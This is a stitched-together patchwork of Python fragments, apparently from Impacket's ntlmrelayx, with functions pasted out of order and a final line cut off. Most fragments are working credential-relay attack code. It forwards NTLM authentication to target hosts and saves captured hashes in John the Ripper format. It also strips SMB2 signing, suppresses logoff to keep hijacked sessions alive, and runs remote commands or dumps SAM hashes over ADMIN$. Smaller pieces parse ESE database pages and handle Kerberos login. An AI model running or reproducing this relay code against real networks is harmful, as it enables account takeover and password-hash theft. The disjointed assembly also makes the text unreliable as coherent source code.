############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = connData['SMBClient'] try: challengeMessage = self.do_ntlm_negotiate(client, token) except Exception: # Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Raise exception again to pass it on to the SMB server raise ############################################################# respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = b'\x01' respToken['SupportedMech'] = TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = challengeMessage.getData() # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data # Picking a fixed value # TODO: Manage more UIDs for the same session connData['Uid'] = 10 connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = connData['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': #For some attacks it is important to know the authenticated username, so we store it self.authUser = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')) ).upper() clientResponse, errorCode = self.do_ntlm_auth( client, sessionSetupData['SecurityBlob'], connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet[ 'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet[ 'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = b'\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff LOG.error( "Authenticating against %s://%s as %s\\%s FAILED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) #Log this target as processed for this client self.targetprocessor.logTarget(self.target) client.killConnection() return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want LOG.critical( "Authenticating against %s://%s as %s\\%s SUCCEED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat( connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = b'\x00' # Status SUCCESS errorCode = STATUS_SUCCESS # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters[ 'SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security #TODO: Fix this for other protocols than SMB [!] respParameters = smb.SMBSessionSetupAndXResponse_Parameters() respData = smb.SMBSessionSetupAndXResponse_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[ 'AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[ 'UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) client = connData['SMBClient'] _, errorCode = client.sendStandardSecurityAuth(sessionSetupData) if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet[ 'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet[ 'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = b'\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff #Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Finish client's connection #client.killConnection() return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want LOG.critical( "Authenticating against %s://%s as %s\\%s SUCCEED" % (self.target.scheme, self.target.netloc, sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])) self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper() # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat( '', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) self.do_attack(client) # Now continue with the server ############################################################# respData['NativeOS'] = smbServer.getServerOS() respData['NativeLanMan'] = smbServer.getServerOS() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData # From now on, the client can ask for other commands connData['Authenticated'] = True smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode
def dump(self): baseOffset = len(self.record) self.record.dump() tags = self.data[-4 * self.record['FirstAvailablePageTag']:] print "FLAGS: " self.printFlags() print for i in range(self.record['FirstAvailablePageTag']): tag = tags[-4:] if self.__DBHeader['Version'] == 0x620 and self.__DBHeader[ 'FileFormatRevision'] > 11 and self.__DBHeader[ 'PageSize'] > 8192: valueSize = unpack('<H', tag[:2])[0] & 0x7fff valueOffset = unpack('<H', tag[2:])[0] & 0x7fff hexdump((self.data[baseOffset + valueOffset:][:6])) pageFlags = ord(self.data[baseOffset + valueOffset:][1]) >> 5 #print "TAG FLAG: 0x%x " % (unpack('<L', self.data[baseOffset+valueOffset:][:4]) ) >> 5 #print "TAG FLAG: 0x " , ord(self.data[baseOffset+valueOffset:][0]) else: valueSize = unpack('<H', tag[:2])[0] & 0x1fff pageFlags = (unpack('<H', tag[2:])[0] & 0xe000) >> 13 valueOffset = unpack('<H', tag[2:])[0] & 0x1fff print "TAG %-8d offset:0x%-6x flags:0x%-4x valueSize:0x%x" % ( i, valueOffset, pageFlags, valueSize) #hexdump(self.getTag(i)[1]) tags = tags[:-4] if self.record['PageFlags'] & FLAGS_ROOT > 0: rootHeader = ESENT_ROOT_HEADER(self.getTag(0)[1]) rootHeader.dump() elif self.record['PageFlags'] & FLAGS_LEAF == 0: # Branch Header flags, data = self.getTag(0) branchHeader = ESENT_BRANCH_HEADER(data) branchHeader.dump() else: # Leaf Header flags, data = self.getTag(0) if self.record['PageFlags'] & FLAGS_SPACE_TREE > 0: # Space Tree spaceTreeHeader = ESENT_SPACE_TREE_HEADER(data) spaceTreeHeader.dump() else: leafHeader = ESENT_LEAF_HEADER(data) leafHeader.dump() # Print the leaf/branch tags for tagNum in range(1, self.record['FirstAvailablePageTag']): flags, data = self.getTag(tagNum) if self.record['PageFlags'] & FLAGS_LEAF == 0: # Branch page branchEntry = ESENT_BRANCH_ENTRY(flags, data) branchEntry.dump() elif self.record['PageFlags'] & FLAGS_LEAF > 0: # Leaf page if self.record['PageFlags'] & FLAGS_SPACE_TREE > 0: # Space Tree spaceTreeEntry = ESENT_SPACE_TREE_ENTRY(data) #spaceTreeEntry.dump() elif self.record['PageFlags'] & FLAGS_INDEX > 0: # Index Entry indexEntry = ESENT_INDEX_ENTRY(data) #indexEntry.dump() elif self.record['PageFlags'] & FLAGS_LONG_VALUE > 0: # Long Page Value LOG.error('Long value still not supported') raise else: # Table Value leafEntry = ESENT_LEAF_ENTRY(flags, data) dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER( leafEntry['EntryData']) dataDefinitionHeader.dump() catalogEntry = ESENT_CATALOG_DATA_DEFINITION_ENTRY( leafEntry['EntryData'][len(dataDefinitionHeader):]) catalogEntry.dump() hexdump(leafEntry['EntryData'])
def run(self): LOG.info("Setting up SMB Server") self._start()
def __tagToRecord(self, cursor, tag): # So my brain doesn't forget, the data record is composed of: # Header # Fixed Size Data (ID < 127) # The easiest to parse. Their size is fixed in the record. You can get its size # from the Column Record, field SpaceUsage # Variable Size Data (127 < ID < 255) # At VariableSizeOffset you get an array of two bytes per variable entry, pointing # to the length of the value. Values start at: # numEntries = LastVariableDataType - 127 # VariableSizeOffset + numEntries * 2 (bytes) # Tagged Data ( > 255 ) # After the Variable Size Value, there's more data for the tagged values. # Right at the beginning there's another array (taggedItems), pointing to the # values, size. # # The interesting thing about this DB records is there's no need for all the columns to be there, hence # saving space. That's why I got over all the columns, and if I find data (of any type), i assign it. If # not, the column's empty. # # There are a lot of caveats in the code, so take your time to explore it. # # ToDo: Better complete this description # record = OrderedDict() taggedItems = OrderedDict() taggedItemsParsed = False dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(tag) #dataDefinitionHeader.dump() variableDataBytesProcessed = ( dataDefinitionHeader['LastVariableDataType'] - 127) * 2 prevItemLen = 0 tagLen = len(tag) fixedSizeOffset = len(dataDefinitionHeader) variableSizeOffset = dataDefinitionHeader['VariableSizeOffset'] columns = cursor['TableData']['Columns'] for column in columns.keys(): columnRecord = columns[column]['Record'] #columnRecord.dump() if columnRecord['Identifier'] <= dataDefinitionHeader[ 'LastFixedSize']: # Fixed Size column data type, still available data record[column] = tag[ fixedSizeOffset:][:columnRecord['SpaceUsage']] fixedSizeOffset += columnRecord['SpaceUsage'] elif 127 < columnRecord['Identifier'] <= dataDefinitionHeader[ 'LastVariableDataType']: # Variable data type index = columnRecord['Identifier'] - 127 - 1 itemLen = unpack('<H', tag[variableSizeOffset + index * 2:][:2])[0] if itemLen & 0x8000: # Empty item itemLen = prevItemLen record[column] = None else: itemValue = tag[variableSizeOffset + variableDataBytesProcessed:][:itemLen - prevItemLen] record[column] = itemValue #if columnRecord['Identifier'] <= dataDefinitionHeader['LastVariableDataType']: variableDataBytesProcessed += itemLen - prevItemLen prevItemLen = itemLen elif columnRecord['Identifier'] > 255: # Have we parsed the tagged items already? if taggedItemsParsed is False and ( variableDataBytesProcessed + variableSizeOffset) < tagLen: index = variableDataBytesProcessed + variableSizeOffset #hexdump(tag[index:]) endOfVS = self.__pageSize firstOffsetTag = ( unpack('<H', tag[index + 2:][:2])[0] & 0x3fff ) + variableDataBytesProcessed + variableSizeOffset while True: taggedIdentifier = unpack('<H', tag[index:][:2])[0] index += 2 taggedOffset = (unpack('<H', tag[index:][:2])[0] & 0x3fff) # As of Windows 7 and later ( version 0x620 revision 0x11) the # tagged data type flags are always present if self.__DBHeader['Version'] == 0x620 and self.__DBHeader[ 'FileFormatRevision'] >= 17 and self.__DBHeader[ 'PageSize'] > 8192: flagsPresent = 1 else: flagsPresent = (unpack('<H', tag[index:][:2])[0] & 0x4000) index += 2 if taggedOffset < endOfVS: endOfVS = taggedOffset taggedItems[taggedIdentifier] = (taggedOffset, tagLen, flagsPresent) #print "ID: %d, Offset:%d, firstOffset:%d, index:%d, flag: 0x%x" % (taggedIdentifier, taggedOffset,firstOffsetTag,index, flagsPresent) if index >= firstOffsetTag: # We reached the end of the variable size array break # Calculate length of variable items # Ugly.. should be redone prevKey = taggedItems.keys()[0] for i in range(1, len(taggedItems)): offset0, length, flags = taggedItems[prevKey] offset, _, _ = taggedItems.items()[i][1] taggedItems[prevKey] = (offset0, offset - offset0, flags) #print "ID: %d, Offset: %d, Len: %d, flags: %d" % (prevKey, offset0, offset-offset0, flags) prevKey = taggedItems.keys()[i] taggedItemsParsed = True # Tagged data type if taggedItems.has_key(columnRecord['Identifier']): offsetItem = variableDataBytesProcessed + variableSizeOffset + taggedItems[ columnRecord['Identifier']][0] itemSize = taggedItems[columnRecord['Identifier']][1] # If item have flags, we should skip them if taggedItems[columnRecord['Identifier']][2] > 0: itemFlag = ord(tag[offsetItem:offsetItem + 1]) offsetItem += 1 itemSize -= 1 else: itemFlag = 0 #print "ID: %d, itemFlag: 0x%x" %( columnRecord['Identifier'], itemFlag) if itemFlag & (TAGGED_DATA_TYPE_COMPRESSED): LOG.error('Unsupported tag column: %s, flag:0x%x' % (column, itemFlag)) record[column] = None elif itemFlag & TAGGED_DATA_TYPE_MULTI_VALUE: # ToDo: Parse multi-values properly LOG.debug( 'Multivalue detected in column %s, returning raw results' % (column)) record[column] = (hexlify( tag[offsetItem:][:itemSize]), ) else: record[column] = tag[offsetItem:][:itemSize] else: record[column] = None else: record[column] = None # If we understand the data type, we unpack it and cast it accordingly # otherwise, we just encode it in hex if type(record[column]) is tuple: # A multi value data, we won't decode it, just leave it this way record[column] = record[column][0] elif columnRecord['ColumnType'] == JET_coltypText or columnRecord[ 'ColumnType'] == JET_coltypLongText: # Let's handle strings if record[column] is not None: if columnRecord['CodePage'] not in StringCodePages: LOG.error('Unknown codepage 0x%x' % columnRecord['CodePage']) raise stringDecoder = StringCodePages[columnRecord['CodePage']] record[column] = record[column].decode(stringDecoder) else: unpackData = ColumnTypeSize[columnRecord['ColumnType']] if record[column] is not None: if unpackData is None: record[column] = hexlify(record[column]) else: unpackStr = unpackData[1] unpackSize = unpackData[0] record[column] = unpack(unpackStr, record[column])[0] return record
def initConnection(self): self.session = SMBConnection(self.targetHost, self.targetHost, sess_port=self.targetPort, manualNegotiate=True) #,preferredDialect=SMB_DIALECT) if self.serverConfig.smb2support is True: data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00' else: data = '\x02NT LM 0.12\x00' if self.extendedSecurity is True: flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES else: flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES try: packet = self.session.negotiateSessionWildcard( None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity, flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS, flags2=flags2, data=data) except Exception as e: if not self.serverConfig.smb2support: LOG.error( 'SMBClient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support' ) else: LOG.error('SMBClient error: Connection was reset') return False if packet[0:1] == b'\xfe': preferredDialect = None # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21 if self.serverConfig.remove_target: preferredDialect = SMB2_DIALECT_21 smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity, nmbSession=self.session.getNMBServer(), negPacket=packet, preferredDialect=preferredDialect) else: # Answer is SMB packet, sticking to SMBv1 smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity, nmbSession=self.session.getNMBServer(), negPacket=packet) self.session = SMBConnection(self.targetHost, self.targetHost, sess_port=self.targetPort, existingConnection=smbClient, manualNegotiate=True) return True
try: data = self.__connSocket.recv(8192) if data == '': break s.sendall(data) data = s.recv(8192) self.__connSocket.sendall(data) except Exception, e: if LOG.level == logging.DEBUG: import traceback traceback.print_exc() LOG.error('SOCKS: ', str(e)) if self.__socksServer.socksPlugins.has_key(self.targetPort): LOG.debug('Handler for port %s found %s' % (self.targetPort, self.__socksServer.socksPlugins[self.targetPort])) relay = self.__socksServer.socksPlugins[self.targetPort]( self.targetHost, self.targetPort, self.__connSocket, self.__socksServer.activeRelays[self.targetHost][ self.targetPort]) try: relay.initConnection() # Let's answer back saying we've got the connection. Data is fake if self.__socksVersion == 5: reply = SOCKS5_REPLY() reply['REP'] = replyField.SUCCEEDED.value addr, port = self.__connSocket.getsockname() reply['PAYLOAD'] = socket.inet_aton(addr) + pack(
def negotiateSession(self, preferredDialect=None, negSessionResponse=None): # We DON'T want to sign self._Connection['ClientSecurityMode'] = 0 if self.RequireMessageSigning is True: LOG.error( 'Signing is required, attack won\'t work unless using -remove-target / --remove-mic' ) return self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION currentDialect = SMB2_DIALECT_WILDCARD # Do we have a negSessionPacket already? if negSessionResponse is not None: # Yes, let's store the dialect answered back negResp = SMB2Negotiate_Response(negSessionResponse['Data']) currentDialect = negResp['DialectRevision'] if currentDialect == SMB2_DIALECT_WILDCARD: # Still don't know the chosen dialect, let's send our options packet = self.SMB_PACKET() packet['Command'] = SMB2_NEGOTIATE negSession = SMB2Negotiate() negSession['SecurityMode'] = self._Connection['ClientSecurityMode'] negSession['Capabilities'] = self._Connection['Capabilities'] negSession['ClientGuid'] = self.ClientGuid if preferredDialect is not None: negSession['Dialects'] = [preferredDialect] else: negSession['Dialects'] = [ SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30 ] negSession['DialectCount'] = len(negSession['Dialects']) packet['Data'] = negSession packetID = self.sendSMB(packet) ans = self.recvSMB(packetID) if ans.isValidAnswer(STATUS_SUCCESS): negResp = SMB2Negotiate_Response(ans['Data']) self._Connection['MaxTransactSize'] = min(0x100000, negResp['MaxTransactSize']) self._Connection['MaxReadSize'] = min(0x100000, negResp['MaxReadSize']) self._Connection['MaxWriteSize'] = min(0x100000, negResp['MaxWriteSize']) self._Connection['ServerGuid'] = negResp['ServerGuid'] self._Connection['GSSNegotiateToken'] = negResp['Buffer'] self._Connection['Dialect'] = negResp['DialectRevision'] if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED ) == SMB2_NEGOTIATE_SIGNING_REQUIRED: LOG.error( 'Signing is required, attack won\'t work unless using -remove-target / --remove-mic' ) return if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING: self._Connection['SupportsFileLeasing'] = True if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LARGE_MTU) == SMB2_GLOBAL_CAP_LARGE_MTU: self._Connection['SupportsMultiCredit'] = True if self._Connection['Dialect'] == SMB2_DIALECT_30: # Switching to the right packet format self.SMB_PACKET = SMB3Packet if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_DIRECTORY_LEASING ) == SMB2_GLOBAL_CAP_DIRECTORY_LEASING: self._Connection['SupportsDirectoryLeasing'] = True if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_MULTI_CHANNEL ) == SMB2_GLOBAL_CAP_MULTI_CHANNEL: self._Connection['SupportsMultiChannel'] = True if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_PERSISTENT_HANDLES ) == SMB2_GLOBAL_CAP_PERSISTENT_HANDLES: self._Connection['SupportsPersistentHandles'] = True if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION: self._Connection['SupportsEncryption'] = True self._Connection['ServerCapabilities'] = negResp['Capabilities'] self._Connection['ServerSecurityMode'] = negResp['SecurityMode']
def run(self): # Here PUT YOUR CODE! if self.tcpshell is not None: LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port) #Start listening and launch interactive shell self.tcpshell.listen() self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile) self.shell.cmdloop() return if self.config.exeFile is not None: result = self.installService.install() if result is True: LOG.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from impacket.examples.secretsdump import RemoteOperations, SAMHashes samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: # Something went wrong, most probably we don't have access as admin. aborting LOG.error(str(e)) return try: if self.config.command is not None: remoteOps._RemoteOperations__executeRemote(self.config.command) LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = '' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') print self.__answerTMP.decode(self.config.encoding, 'replace') else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: LOG.error(str(e))
def readHeader(self): LOG.debug("Reading Boot Sector for %s" % self.__volumeName)
def tunnelConnection(self): # For the rest of the remaining packets, we should just read and send. Except when trying to log out, # that's forbidden! ;) while True: # 1. Get Data from client data = self.__NBSession.recv_packet().get_trailer() if len(data) == 0: break if self.isSMB2 is False: packet = NewSMBPacket(data=data) if packet['Command'] == SMB.SMB_COM_LOGOFF_ANDX: # We do NOT want to get logged off do we? LOG.debug( 'SOCKS: Avoiding logoff for %s@%s:%s' % (self.username, self.targetHost, self.targetPort)) data = self.getLogOffAnswer(packet) else: # 2. Send it to the relayed session self.clientConnection.getSMBServer()._sess.send_packet( str(data)) # 3. Get the target's answer data = self.clientConnection.getSMBServer( )._sess.recv_packet().get_trailer() packet = NewSMBPacket(data=data) if packet['Command'] == SMB.SMB_COM_TRANSACTION or packet[ 'Command'] == SMB.SMB_COM_TRANSACTION2: try: while True: # Anything else to read? with timeout of 1 sec. This is something to test or find # a better way to control data2 = self.clientConnection.getSMBServer( )._sess.recv_packet(timeout=1).get_trailer() self.__NBSession.send_packet(str(data)) data = data2 except Exception, e: if str(e).find('timed out') > 0: pass else: raise if len(data) == 0: break else: packet = SMB2Packet(data=data) origID = packet['MessageID'] # Just in case, let's remove any signing attempt packet['Signature'] = "" packet['Flags'] &= ~(SMB2_FLAGS_SIGNED) # Let's be sure the TreeConnect Table is filled with fake data if self.clientConnection.getSMBServer( )._Session['TreeConnectTable'].has_key( packet['TreeID']) is False: self.clientConnection.getSMBServer( )._Session['TreeConnectTable'][packet['TreeID']] = {} self.clientConnection.getSMBServer( )._Session['TreeConnectTable'][ packet['TreeID']]['EncryptData'] = False if packet['Command'] == SMB2_LOGOFF: # We do NOT want to get logged off do we? LOG.debug( 'SOCKS: Avoiding logoff for %s@%s:%s' % (self.username, self.targetHost, self.targetPort)) data = self.getLogOffAnswer(packet) else: # 2. Send it to the relayed session self.clientConnection.getSMBServer().sendSMB(packet) # 3. Get the target's answer packet = self.clientConnection.getSMBServer().recvSMB() if len(str(packet)) == 0: break else: packet['MessageID'] = origID data = str(packet) # 4. Send it back to the client self.__NBSession.send_packet(str(data))
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: None, raises a Session Error if error. """ import os from impacket.krb5.ccache import CCache from impacket.krb5.kerberosv5 import KerberosError from impacket.krb5 import constants from impacket.ntlm import compute_lmhash, compute_nthash self._kdcHost = kdcHost self._useCache = useCache if TGT is not None or TGS is not None: useCache = False if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: # No cache present pass else: # retrieve user and domain information from CCache file if needed if user == '' and len(ccache.principal.components) > 0: user = ccache.principal.components[0]['data'] if domain == '': domain = ccache.principal.realm['data'] LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'cifs/%s@%s' % (self.getRemoteName().upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS() LOG.debug('Using TGS from cache') while True: try: if self.getDialect() == smb.SMB_DIALECT: return self._SMBConnection.kerberos_login( user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT, TGS) return self._SMBConnection.kerberosLogin( user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT, TGS) except (smb.SessionError, smb3.SessionError), e: raise SessionError(e.get_error_code()) except KerberosError, e: if e.getErrorCode( ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if lmhash is '' and nthash is '' and ( aesKey is '' or aesKey is None) and TGT is None and TGS is None: from impacket.ntlm import compute_lmhash, compute_nthash lmhash = compute_lmhash(password) nthash = compute_nthash(password) else: raise e else: raise e
def processSessionSetup(self, recvPacket): if self.isSMB2 is False: respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) smbCommand = SMBCommand(recvPacket['Data'][0]) if smbCommand['WordCount'] == 12: respParameters = SMBSessionSetupAndX_Extended_Response_Parameters( ) respData = SMBSessionSetupAndX_Extended_Response_Data() # First of all, we should received a type 1 message. Let's answer it # NEGOTIATE_MESSAGE challengeMessage = self.sessionData['CHALLENGE_MESSAGE'] challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN) respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = '\x01' respToken['SupportedMech'] = TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = str(challengeMessage) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters[ 'SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() respData['NativeOS'] = '' respData['NativeLanMan'] = '' respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData resp = NewSMBPacket() resp['Flags1'] = SMB.FLAGS1_REPLY resp['Flags2'] = SMB.FLAGS2_NT_STATUS resp['Pid'] = recvPacket['Pid'] resp['Tid'] = recvPacket['Tid'] resp['Mid'] = recvPacket['Mid'] resp['Uid'] = 0 errorCode = STATUS_MORE_PROCESSING_REQUIRED resp['ErrorCode'] = errorCode >> 16 resp['ErrorClass'] = errorCode & 0xff resp.addCommand(respSMBCommand) self.__NBSession.send_packet(resp.getData()) recvPacket, smbCommand = self.getSMBPacket() sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters( smbCommand['Parameters']) sessionSetupData = SMBSessionSetupAndX_Extended_Data() sessionSetupData[ 'SecurityBlobLength'] = sessionSetupParameters[ 'SecurityBlobLength'] sessionSetupData.fromString(smbCommand['Data']) if unpack('B', sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = SPNEGO_NegTokenResp( sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = SPNEGO_NegTokenInit( sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Now we should've received a type 3 message authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(token) try: username = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')) ).upper() except UnicodeDecodeError: # Not Unicode encoded? username = ('%s/%s' % (authenticateMessage['domain_name'], authenticateMessage['user_name'])).upper() # Check if we have a connection for the user if self.activeRelays.has_key(username): LOG.info('SOCKS: Proxying client session for %s@%s(445)' % (username, self.targetHost)) errorCode = STATUS_SUCCESS smbClient = self.activeRelays[username][ 'protocolClient'].session uid = smbClient.getSMBServer().get_uid() else: LOG.error('SOCKS: No session for %s@%s(445) available' % (username, self.targetHost)) errorCode = STATUS_ACCESS_DENIED uid = 0 smbClient = None resp = NewSMBPacket() resp['Flags1'] = recvPacket['Flags1'] | SMB.FLAGS1_REPLY resp['Flags2'] = recvPacket[ 'Flags2'] | SMB.FLAGS2_EXTENDED_SECURITY resp['Command'] = recvPacket['Command'] resp['Pid'] = recvPacket['Pid'] resp['Tid'] = recvPacket['Tid'] resp['Mid'] = recvPacket['Mid'] resp['Uid'] = uid resp['ErrorCode'] = errorCode >> 16 resp['ErrorClass'] = errorCode & 0xff respData['NativeOS'] = '' respData['NativeLanMan'] = '' if uid == 0: resp['Data'] = '\x00\x00\x00' smbClient = None else: respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = '\x00' respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters[ 